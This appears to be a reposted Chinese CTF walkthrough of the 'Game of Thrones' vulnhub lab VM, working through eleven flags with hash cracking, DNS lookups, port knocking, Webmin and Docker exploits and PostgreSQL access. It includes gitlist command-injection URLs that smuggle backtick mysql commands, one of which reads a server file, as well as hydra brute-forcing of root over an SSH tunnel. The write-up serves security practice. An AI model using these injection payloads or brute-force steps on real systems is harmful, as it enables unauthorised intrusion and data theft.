22. CTF綜合靶機滲透(十五)


靶機說明:

Game of Thrones Hacking CTF

This is a challenge-game to measure your hacking skills. Set in Game of Thrones fantasy world.


Goal:

Get the 7 kingdom flags and the 4 extra content flags (3 secret flags + final battle flag). There are 11 in total.

Rules/guidelines to play:

  • Start your conquer of the seven kingdoms
  • You'll need hacking skills, no Game of Thrones knowledge is required. But if you play, it may contains spoilers of the TV series
  • Difficulty of the CTF: Medium-High
  • Don't forget to take your map (try to find it). It will guide you about the natural flag order to follow over the kingdoms
  • Listen CAREFULLY to the hints. If you are stuck, read the hints again!
  • Powerful fail2ban spells were cast everywhere. Bruteforce is not an option for this CTF (2 minutes ban penalty)
  • The flags are 32 chars strings. Keep'em all! you'll need them

Requirements/starting guide:

  • Import the Linux based CTF challenge virtual machine (OVA file)
  • OVA file is compatible with Oracle Virtualbox and Vmware
  • The challenge vm needs 1 cpu and 1512mb RAM to work properly
  • The challenge vm has its network configured by default as bridge. It will take an IP from the DHCP of your network

Downloading challenge CTF vm:

Troubleshooting

  • Vmware:
  • If you get a warning/error importing machine, press "Retry" and it will be imported flawlessly
  • Oracle Virtualbox
  • It's recommended to use "Import Appliance" menu option instead of double click on OVA file
  • If you get an error regarding network, just select your network interface

Good luck, the old gods and the new will protect you!


 _____                      ___    _____ _                       
|   __|___ _____ ___    ___|  _|  |_   _| |_ ___ ___ ___ ___ ___ 
|  |  | .'|     | -_|  | . |  _|    | | |   |  _| . |   | -_|_ -|
|_____|__,|_|_|_|___|  |___|_|      |_| |_|_|_| |___|_|_|___|___|

 

 

靶機滲透:

本次采用parrot linux+windows10來作為攻擊機,攻擊機IP地址為:192.168.0.112

靶機與攻擊機在同一網段,我們先用nmap掃描出靶機的IP地址:

因為我用VM打開靶機,所以發現靶機IP為:192.168.0.161

然后我們使用nmap對這個IP進行深度掃描:

可以發現靶機開啟了很多端口:21,22,53,80,143,3306,5432,10000

我們嘗試訪問一下靶機主頁面:

我們先查看源代碼:

...有一堆看起來很與價值的東西...經過百度翻譯...shit..我們接着看:

我們嘗試使用kali里面的dirb來對靶機目錄進行爆破:

發現很多目錄:

  • http://192.168.0.161/css/
  • http://192.168.0.161/favicon.ico
  • http://192.168.0.161/imgs/
  • http://192.168.0.161/index.php
  • http://192.168.0.161/robots.txt
  • http://192.168.0.161/sitemap.xml

還有比較奇怪的目錄:

  • http://192.168.0.161/h/i/d/d/e/n/index.php

我們先查看一下比較敏感的 robots.txt

 里面有三個目錄:/the-tree//secret-island//direct-access-to-kings-landing/

 還有個User-agent:Three-eyed-raven

 我們先依次訪問那三個目錄:

我們點擊Map:

我們仔細研究一下這張地圖:

上面記錄了本次游戲的關鍵點和目標,除了常規需要得到7個flag之外,還有3個隱秘flag,

而且最后的戰爭是通過ssh...

我們訪問下一個目錄:

我們查看源代碼,看是否有有用的信息:

有這樣一句話:

You mUSt changE your own shape and foRm if you wAnt to GEt the right aNswer from the Three-eyed raven" - Written on the tree by somebody

翻譯:你必須改變自己的形狀和形式,如果你想從Three-eyed-raven那里得到正確答案的話--樹上的某個人所寫

看到這個Three-eyed-raven我突然想到robots.txt里面的user-agent,提示也說需要改變自己,

會不會是要burp抓包,來替換header頭的user-agent,我們嘗試:

內容如下:

<!--
                "I will give you three hints, I can see the future so listen carefully" - The three-eyed raven Bran Stark
                 "To enter in Dorne you must identify as oberynmartell. You still should find the password"
                "3487 64535 12345 . Remember these numbers, you'll need to use them with POLITE people you'll know when to use them"
                "The savages never crossed the wall. So you must look for them before crossing it"

-->

翻譯:

“我會給你三個暗示,我可以看到未來,所以仔細聽”——The three-eyed raven Bran Stark
“為了進入Dorne,你必須把自己當作 oberynmartell。你將會找到密碼
“3487 64535 12345。記住這些數字,你需要和有禮貌的人一起使用,你會知道什么時候使用它們。
“野人從來沒有穿過牆。所以你必須在過馬路前尋找它們。

 ...突然沒頭緒了,這些提示以后做的時候估計就會用到,我們訪問第三個目錄:

查看源代碼:

內容如下:"I've heard the savages usually play music. They are not as wild as one can expect, are they?" - Sansa Stark

翻譯:“我聽說野蠻人經常演奏音樂。它們並不像人們想象的那么瘋狂,是嗎?”桑莎斯塔克

...突然沒頭緒了,我們爆破出了那么多目錄,我們訪問幾個比較敏感的:

Music?野獸都能懂?同時考慮一下三眼烏鴉的第一個指示,讓我們把音樂下載下來,用exiftool查看文件信息:

https://sno.phy.queensu.ca/~phil/exiftool/

 

可以看到:Savages secret flag: 8bf8854bebe108183caeb845c7676ae4

我們得到第一個隱藏的flag!!!     我們找一下其他網頁

我們突然發現還有個 raven.php ,嘗試訪問:

還得查看源代碼:

翻譯:穿過牆壁,mcrypt的咒語將幫助你。不管你是誰,只有鑰匙才能打開秘密之門

...我們繼續訪問目錄:

查看源代碼:

內容如下:

<!--

                    "My little birds are everywhere. To enter in Dorne you must say: A_verySmallManCanCastAVeryLargeShad0w . Now, you owe me" - Lord (The Spider) Varys

                    "Powerful docker spells were cast over all kingdoms. We must be careful! You can't travel directly from one to another... usually. That's what the Lord of Light

                    has shown me" - The Red Woman Melisandre

-->

 翻譯:我的小鳥到處都是。要進入Dorne,你必須說:"A_verySmallManCanCastAVeryLargeShad0w . Now, you owe me"——“主(蜘蛛)瓦里斯”

“強大的碼頭法師被鑄造在所有王國上。我們必須小心!你不能直接從一個旅行到另一個…通常情況下。這就是光之主向我展示的——“紅女人梅麗桑德雷

 我們得到了一個密碼:A_verySmallManCanCastAVeryLargeShad0w 然后根據這個可以進入Dorne,我想起來提示里面有

為了進入Dorne,你必須把自己當作 oberynmartell。你將會找到密碼 這個 oberynmartell 就是用戶名,同時地圖上也有提示:

 

我感覺我們可以以oberynmartell的身份嘗試登陸ftp,密碼是:

可以看到第一個flag已經出現,不過它看起來像md5加密,我們嘗試解密:

我們在目錄下發現兩個文件:

我們把它下載下來:

我們點開第一個文件:problems_in_the_north.txt :

內容如下:
"There are problems in the north. We must travel quickly. Once there we must defend the wall" - Jon Snow
"What kind of magic is this?!? I never saw before this kind of papirus. Let's check it carefully" - Maester Aemon Targaryen
md5(md5($s).$p)
nobody:6000e084bf18c302eae4559d48cb520c$2hY68a

很明顯要用上面的方法對下面的密碼進行解密。

加密方式是:md5(md5($salt).$pass)

6000e084bf18c302eae4559d48cb520c$2hY68a

通過查閱資料(hashcat official wiki),這種加密方式只在hashcat-legacy 中支持。

同時發現,根據工具支持的格式,拿到的hash還需要把”$”改為”:”

6000e084bf18c302eae4559d48cb520c:2hY68a

把上述hash保存在pass.txt中

github中的地址為:https://github.com/hashcat/hashcat-legacy

但是可以看到,最新版的hashcat已經去掉了這種加密方式的破解,所以我們還得找一個舊版本

https://hashcat.net/files_legacy/hashcat-2.00.7z

 

我們尋找加密方式是:md5(md5($salt).$pass) 的編號:

結合我們kali上自帶的字典 rockyou.txt ,即可成功解出hash:

成功解密,得到密碼為: stark

我i們同時得到的還有一個加密文件:the-wall.txt.nc 突然想起另外一個提示:

穿過牆壁,mcrypt的咒語將幫助你。不管你是誰,只有鑰匙才能打開秘密之門

 

感覺我們可以使用mcrypt來穿過牆壁,也就是解密,密碼就是stark

 

 OK!解密成功:

內容如下:

"We defended the wall. Thanks for your help. Now you can go to recover Winterfell" - Jeor Mormont, Lord Commander of the Night's Watch
"I'll write on your map this route to get faster to Winterfell. Someday I'll be a great maester" - Samwell Tarly
http://winterfell.7kingdoms.ctf/------W1nt3rf3ll------
Enter using this user/pass combination:
User: jonsnow
Pass: Ha1lt0th3k1ng1nth3n0rth!!!

翻譯:

“我們守護了牆。謝謝你的幫助。現在你可以去尋找Winterfell-傑爾莫爾蒙,夜守望司令

“我會在你的地圖上寫下這條路線,以更快地到達臨冬城。“有一天我會成為一個偉大的大師”——約翰·C·布萊德利

http://winterfell.7kingdoms.ctf/------W1nt3rf3ll------

使用此用戶/ 密碼進入:

用戶:jonsnow

密碼:Ha1lt0th3k1ng1nth3n0rth!!!

里面有個網址,我們嘗試直接訪問:

我們把這個網址添加到 /etc/hosts 中,並再次訪問:

 

我們使用上面找到的用戶名和密碼登錄,看到一個包含了兩個圖像的頁面,是雪諾和北境旗標:

查看源代碼,看是否有提示:

內容如下:

<!--
            Welcome to Winterfell
            You conquered the Kingdom of the North. This is your second kingdom flag!
            639bae9ac6b3e1a84cebb7b403297b79
            "We must do something here before travelling to Iron Islands, my lady" - Podrick Payne
            "Yeah, I can feel the magic on that shield. Swords are no more use here" - Brienne Tarth
 -->

翻譯:

歡迎來到Winterfell

你征服了北方的王國。這是你的第二個flag!

639bae9ac6b3e1a84cebb7b403297b79

“在我們去Iron Islands之前,我們必須做點什么,我的夫人”——Podrick Payne

“是的,我能感覺到那個盾牌的魔力。刀劍在這里不再有用了——“- Brienne Tarth

我們成功得到第二個flag!並且根據提示這個盾牌的盾徽是個突破口,我們把這個圖片下載下來:

用文本文件打開,在最后會出現這樣一段話:

內容如下:

Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy

翻譯:

Timff0Run3Rs文本應被要求進入 Iron Islands fortress“- Theon Greyjoy

看來,下一步的關鍵點已經有了,結合地圖上對第三個flag的提示:

第三個目標在DNS上,而上面的暗示指出TXT記錄可能包含些什么,這時我們可以使用nslookup工具對dns記錄進行查看。

nslookup最簡單的用法是查詢域名對應的IP地址,可以查詢包括A記錄、MX記錄、NS記錄、CNAME記錄、TXT記錄。

格式為:nslookup -q = txt 域名 IP

這樣,我們構造一個命令,查看一下靶機dns的txt記錄,得到第三個flag:

 

內容如下:
Server:        192.168.0.161
Address:    192.168.0.161#53
Timef0rconqu3rs.7kingdoms.ctf    text = "You conquered Iron Islands kingdom flag: 5e93de3efa544e85dcd6311732d28f95. Now you should go to Stormlands at http://stormlands.7kingdoms.ctf:10000 . Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!"
翻譯:

服務器:192.1680.161

地址:192.1680.161×53

你征服了Iron Islands ,flag:5e93de3efa544e85dcd6311732d28f95。現在你應該去風暴地帶:http://stormlands.7kingdoms.ctf:10000。

使用這個用戶/密碼通行:aryastark/N3ddl3_1s_a_g00d_sword#!

我們得到第三個flag!

又是一個網址提示,我們依然把它添加到 /etc/hosts 中,並且嘗試訪問10000端口:

 

 使用用戶密碼登陸,在主頁面發現了這樣的flag提示:

查看源代碼也沒有什么發現,我們點擊File Manager :

瀏覽器還得支持java...,建議到IE中操作...我就不操作了

參考:http://www.freebuf.com/articles/web/175048.html

另一種方法:

根據地圖中的提示發現:

stormlands接口是Webmin。
一旦連接,顯示版本號:Webmin拼寫版本:1.590
我搜索了一下,看看搜索字段中是否有任何缺陷沒有結果。眾所周知,該版本易受攻擊(CVE-2012-2982),Metasploit提供了漏洞利用程序

 

內容如下:

Congratulations!you conquered Stormlands.This is your flag:8fc42c6ddf9966db3b09e84365034357

Now prepare yourself for the next challenge!

The credntials to access to the Mountain and the Vale kingdom are:

user/pass:  robinarryn/cr0wn_f0r_a_King-_

db:  mountainandthevale

pgAdmin magic will notwork.  Command line should be used on that kingdom - Talisa Maegyr

翻譯:

祝賀你!你征服了暴風雨,這是你的flag: 8fc42c6ddf9966db3b09e84365034357
現在為下一個挑戰做好准備吧!
通往Mountain and the Vale kingdom的證書是:
用戶/密碼:robinarryn/cr0wn_f0r_a_King-_
db:mountainandthevale
pgAdmin魔法不會起作用。命令行應該用於那個王國- Talisa Maegyr

我們成功得到第四個flag!提示里面提到了用戶名跟密碼,還有一個db數據庫名稱

我們看地圖的提示:

..postgresql數據庫,nmap掃描的時候就知道靶機在5432端口運行的是postgresql,

現在這個提示是要我們訪問數據庫,使用上面找到的文件中提供的用戶名密碼連接,我們嘗試鏈接:

(postgresql常用命令:https://blog.csdn.net/u010856284/article/details/70142810

 我們先查看表的結構:

發現有個flag表,我們進入這個表,發現一大串base64加密:

我們嘗試解密:

內容如下:

Nice! you conquered the Kingdom of the Mountain and the Vale. This is your flag: bb3aec0fdcdbc2974890f805c585d432. Next stop the Kingdom of the Reach. You can identify yourself with this user/pass combination: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah , but first you must be able to open the gates

翻譯:

好極了!你征服了山脈和山谷的王國。這是flag:bb3aec0fdcdbc2974890f805c585d432。下一站,到達Kingdom。你可以用這個用戶/ 密碼組合來標識自己:olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah,但首先你必須能夠打開大門。

我們得到第五個flag! 我們查看postgresql數據庫其他有用的表:

select * from aryas_kill_list;

 

有很多名字,也許能用得上。

select * from eyrie;

select * from popular_wisdom_book;

select * from braavos_book;

內容如下:

    1 | City of Braavos is a very particular place. It is not so far from here.
    2 | "There is only one god, and his name is Death. And there is only one thing we say to Death: Not today" - Syrio Forel
    3 | Braavos have a lot of curious buildings. The Iron Bank of Braavos, The House of Black and White, The Titan of Braavos, etc.
    4 | "A man teaches a girl. -Valar Dohaeris- All men must serve. Faceless Men most of all" - Jaqen H'ghar
    6 | "A girl has no name" - Arya Stark
    7 | City of Braavos is ruled by the Sealord, an elected position.
    8 | "That man's life was not yours to take. A girl stole from the Many-Faced God. Now a debt is owed" - Jaqen H'ghar
    9 | Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu'c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc
這個第9個,好像不是英語,好像是rot16編碼,我們用https://www.rot13.com/嘗試解碼:

內容如下:

The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis

翻譯:

多面的神要你改變你的面貌。他想讓你認出你的殺人名單。根據這本書丟失的頁碼選擇它。連接的數據庫將是braavos,您的密碼將是:ValarMorghulis

我突然想起來我們的隱藏flag

現在我們有數據庫,有密碼,我們需要枚舉一下用戶名,發現TheRedWomanMelisandre是用戶名

我們來登陸數據庫:

我們嘗試尋找有用的信息:

select * from temple_of_the_faceless_men;

我們成功得到隱藏的第二個flag: 3f82c41a70a8b0cfec9052252d9fd721

text: Congratulations. You've found the secret flag at City of Braavos. You've served well to the Many-Faced God.

根據第五個flag的提示,現在我們該前往 king of the Reach ,我們現在知道第六個flag的

用戶名跟密碼:olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah

我們看地圖有什么提示:

根據nmap的掃描結果,發現imap運行在143端口,但是這個端口沒有開啟,

前面有個提示:3487 64535 12345。記住這些數字,你需要和有禮貌的人一起使用,你會知道什么時候使用它們

而我們在postgresql數據庫的popular_wisdom_book中有這樣的字眼:

好吧,需要敲門,這是一個安全機制,端口敲門服務(knockd),查下資料,看看這是啥。

這個該服務通過動態的添加iptables規則來隱藏系統開啟的服務,使用自定義的一系列序列號來“敲門”。

通過這種方法使系統開啟需要訪問的服務端口,才能對外訪問。

不使用時,再使用自定義的序列號來“關門”,將端口關閉,不對外監聽。進一步提升了服務和系統的安全性。

端口試探(port knocking)是一種通過連接嘗試,從外部打開原先關閉端口的方法。一旦收到正確順序的連接嘗試,防火牆就會動態打開一些特定的端口給允許嘗試連接的主機。

端口試探的主要目的是防治攻擊者通過端口掃描的方式對主機進行攻擊。

端口試探類似於一次秘密握手協議,比如一種最基本的方式:發送一定序列的UDP、TCP數據包。當運行在主機上的daemon程序捕捉到數據包以后,如果這個序列正確,則開啟相應的端口,或者防火牆允許客戶端通過。

由於對外的Linux服務器通過限制IP地址的方式來控制訪問,因此可以利用這種端口試探方式來進行防火牆對於訪問IP地址的控制。

現在我們使用之前在提示中找到的數字3487 64535 12345 ,試圖讓靶機打開143端口,使用knock來敲開端口:

我們查看143端口是否開啟:

使用netcat連接它,我們使用前面找到的用戶名和密碼:

nc 192.168.0.161 143

得到的郵件內容如下:

Congratulations!!

You conquered the Kingdom of the Reach. This is the flag: aee750c2009723355e2ac57564f9c3db

Now you can auth on next Kingdom (The Rock, port 1337) using this user/pass combination:

User: TywinLannister

Pass: LannisterN3verDie!

“The things I do for love…” – Jaime (Kingslayer) Lannister

翻譯:

祝賀你!!

你征服了Kingdom。這是flag:aee750c2009723355e2ac57564f9c3db

現在你可以在下一個Kingdom(The Rock,端口1337),使用這個用戶/密碼組合:

用戶: TywinLannister

密碼: LannisterN3verDie!

我為愛做的事……”雅伊姆(國王)蘭尼斯特

我們已經得到第六個flag!,並且在提示中得到登陸1337端口的用戶名跟密碼,

我們嘗試登陸:

登進來發現是一個gitlist網站,我們隨便瀏覽發現有提示:

內容如下:

There is a note under the bed. Somebody put it there. It says:

2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874

"The main gates of King's Landing are permanently closed by Queen's order. You must search for another entrance"

  • An anonymous friend

翻譯:

床底下有一張字條。有人把它放在那里。它說:
2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874
“國王着陸的主要大門是由奎因的命令永久關閉的。你必須尋找另一個入口
匿名朋友

有一串十六進制的編碼,我們嘗試解碼:

/home/tyrionlannister/checkpoint.txt  看起來應該是一個有用的txt文檔,但是得不到

Google一下發現gitlist存在一個命令執行漏洞,漏洞詳情:

 http://hatriot.github.io/blog/2014/06/29/gitlist-rce/

 

發現這個漏洞依然存在,太棒了!我們嘗試直接查看txt文件:

內容如下:

Welcome to: _____ _ _____ _ |_ _| |_ ___ | __ |___ ___| |_ | | | | -_| | -| . | _| '_| |_| |_|_|___| |__|__|___|___|_,_| You are very close to get the flag. Is not here, it's at King's Landing. We must travel there from here! The credentials to access to King's Landing are: user/pass: cerseilannister/_g0dsHaveNoMercy_ db: kingslanding "Chaos isn't a pit. Chaos is a ladder" - Petyr (Littlefinger) Baelish

反正我們找到去往King's Landing的用戶名跟密碼: cerseilannister/_g0dsHaveNoMercy_    db: kingslanding

http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="show tables;" `

http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="SELECT * from iron_throne;" `

 這個 -..-. . - -.-. -..-. -- -.-- ... --.- .-.. -..-. ..-. .-.. .- --. 明顯是摩斯電碼,在線解密一下:

有flag的蹤影了!

但是當我們嘗試去查看這個文件時卻發現文件並不存在,這是怎么回事?

在摩斯密碼的后面還有一點兒提示,告訴我們在這里有特權,看看都有啥:

http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="show grants;" `

可以看到有file、grant、select、insert、create,猜想,我們有可能需要使用特權把flag的內容導入一個新的表中,這樣我們就可以查看了。

技術三聯:

http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="CREATE TABLE test (flag TEXT);" `
http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="LOAD data INFILE '/etc/mysql/flag' INTO TABLE test;" `
http://192.168.0.161:1337/casterly-rock/blob/master/"--" `mysql -h 192.168.0.161 -u "cerseilannister" -p"_g0dsHaveNoMercy_" -D kingslanding --execute="select * from test;" `

內容如下:

Congratulations. You conquered the last kingdom flag. This is your flag: c8d46d341bea4fd5bff866a65ff8aea9 Now you must find the Dragonglass mine to forge stronger weapons. Ssh user-pass: daenerystargaryen-.Dracarys4thewin. "All men must die, but we are not men" - Daenerys Stormborn of the House Targaryen, First of Her Name, the Unburnt, Queen of the Andals and the First Men, Khaleesi of the Great Grass Sea, Breaker of Chains, and Mother of Dragons Congratulations. You conquered the last kingdom flag. This is your flag: c8d46d341bea4fd5bff866a65ff8aea9 Now you must find the Dragonglass mine to forge stronger weapons. Ssh user-pass: daenerystargaryen-.Dracarys4thewin. "All men must die, but we are not men" - Daenerys Stormborn of the House Targaryen, First of Her Name, the Unburnt, Queen of the Andals and the First Men, Khaleesi of the Great Grass Sea, Breaker of Chains, and Mother of Dragons

翻譯:

祝賀你。你征服了最后的flag。這是你的flag:c8d46d341bea4fd5bff866a65ff8aea9 現在你必須找到Dragonglass礦,鍛造更強的武器。SSH用戶-密碼:daenerystargaryen-.Dracarys4thewin.。所有的人都必須死去,但我們不是男人。——Daenerys Stormborn的家塔爾賈揚,她的名字的第一個,未燃燒的,安達爾女王和第一個男人,偉大的草海的哈萊西,鐐銬的破壞者,和龍之母的祝賀。

我們成功得到第七個flag!不過提示告訴我們還沒結束,我們需要登陸SSH:

用戶:daenerystargaryen

密碼:.Dracarys4thewin.

登陸成功!並且發現 /home/daenerystargaryen 目錄下有兩個文件夾:checkpoint.txt , digger.txt

我們分別查看:

內容如下:

"Dragonglass. Frozen fire, in the tongue of old Valyria. Small wonder it is anathema to these cold children of the Other" - The Red Woman Melisandre
"Large amounts of Dragonglass can be found on Dragonglass mine (172.25.0.2). The mine can be accessed only from here. We are very close... Fail2ban magic is not present there, maybe we can reach the 'root' of the problem pivoting from outside to use this digger" - Samwell Tarly
"The White Walkers don't care if a man's free folk or crow. We're all the same to them, meat for their army. But together we can beat them" - Jon Snow

提示中說,這里是通往172.25.0.2的唯一入口,這有可能是這里並沒有 fail2ban 的功能,這給了我們暴力破解root權限的可能性,而且還存在digger.txt這個字典,用scp命令把這個文件下載到本地,用Hydra來進行暴破吧:

scp daenerystargaryen@192.168.0.161:/home/daenerystargaryen/digger.txt ./digger.txt

我們使用本地隧道將其綁定到我們的22222端口:

ssh daenerystargaryen@192.168.0.161 -L 12345:172.25.0.2:22 -N

現在我使用hydra通過ssh登錄,使用root作為用戶名,並使用digger.txt文件來爆破密碼:

爆破出root的密碼是: Dr4g0nGl4ss!
我們使用這個口令來通過ssh登錄,我們使用localhost進行連接,因為我們已經完成了ssh本地隧道的綁定:

 

我們查看這個flag:

內容如下:

Congratulations.
You've found the secret flag of Dragonglass mine. This is your flag: a8db1d82db78ed452ba0882fb9554fc9
Now you have the Dragonglass weapons to fight against the White Walkers.
Host's ssh:
branstark/Th3_Thr33_Ey3d_Raven
"The time has come" - The Three Eyed Raven

我們得到了第三個隱藏的flag!可這還不是結束,我們又得到了HOST‘s ssh:

branstark/Th3_Thr33_Ey3d_Raven

我們再次用ssh進行連接:

發現這個服務器是基於docker的,搜索一下發現:

https://www.exploit-db.com/exploits/40394/

docker存在一個本地提權漏洞,我們用metersploit來連接:

我們直接使用的是msf里面的docker本地提權腳本,現在我們發現我們已經是root權限

我們把/root目錄下final_battle文件下載到本地,並打開:

發現里面有個flag.txt,不過需要密碼才能解開,我們查看checkpoint.txt看能否發現有用的信息:

 

 內容如下:

To defeat White Walkers you need the help of the Savages, the Many-Faced God skill learned at Braavos and the Dragonglass weapons
Some hints:
type of file = ???
pass = ???
useful-pseudo-code-on-invented-language = concat(substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3)))

"Hodor... Hodor!!" - Hodor

虛擬語言的有用偽代碼:

concat(substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3)))

需要用到三個secrect flag:

secrect flag1:8bf8854bebe108183caeb845c7676ae4

secrect flag2:3f82c41a70a8b0cfec9052252d9fd721

secrect flag3:a8db1d82db78ed452ba0882fb9554fc9

密碼的公式是:

concat(

    substr(secret_flag1, strlen(secret_flag1) - 10, strlen(secret_flag1)),

    substr(secret_flag2, strlen(secret_flag2) - 10, strlen(secret_flag2)),

    substr(secret_flag3, strlen(secret_flag3) - 10, strlen(secret_flag3))

)

簡單用python寫段代碼,跑一下:

flag1="8bf8854bebe108183caeb845c7676ae4"

flag2="3f82c41a70a8b0cfec9052252d9fd721"

flag3="a8db1d82db78ed452ba0882fb9554fc9"

password=flag1[len(flag1)-10:len(flag1)]+flag2[len(flag2)-10:len(flag2)]+flag3[len(flag3)-10:len(flag3)]

print "password:" + password

我們嘗試運行:

可以得到密碼為:45c7676ae4252d9fd7212fb9554fc9

我們拿去解密final_battal文件:

我們成功的得到了最后的flag!!!!

 

學習總結:

1.在音樂文件中隱藏flag,並用exiftool來分析音頻文件,一定要細心。

2.解密的話可以使用john the ripper,不過博主的john總是報john No password hashes loaded (see FAQ)錯誤

,參考https://www.waitalone.cn/john-no-password-hashes-loaded.html,還是解決不了。。。

3.webmin的版本漏洞,現在有的網頁是java語言,瀏覽器沒有java插件可能導致代碼不全。

4.postgresql數據庫的基本操作語法

5.knock敲門,現在大多是knockd(apt-get install knockd),也稱端口試探。nc鏈接143 imap,來檢查郵件傳輸

6.gitlist低版本的命令注入漏洞,可以本地復現。

7.使用本地隧道將其綁定端口。

8.docker低版本本地提權漏洞,以及msf的漏洞利用。

9.建議在vulnhub下載靶機鏡像,本地練習,做完真的好累

 

參考資料:

http://www.freebuf.com/articles/web/177562.html

http://www.freebuf.com/articles/web/175048.html

http://devloop.users.sourceforge.net/index.php?article136/solution-du-ctf-game-of-thrones-1-de-vulnhub

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM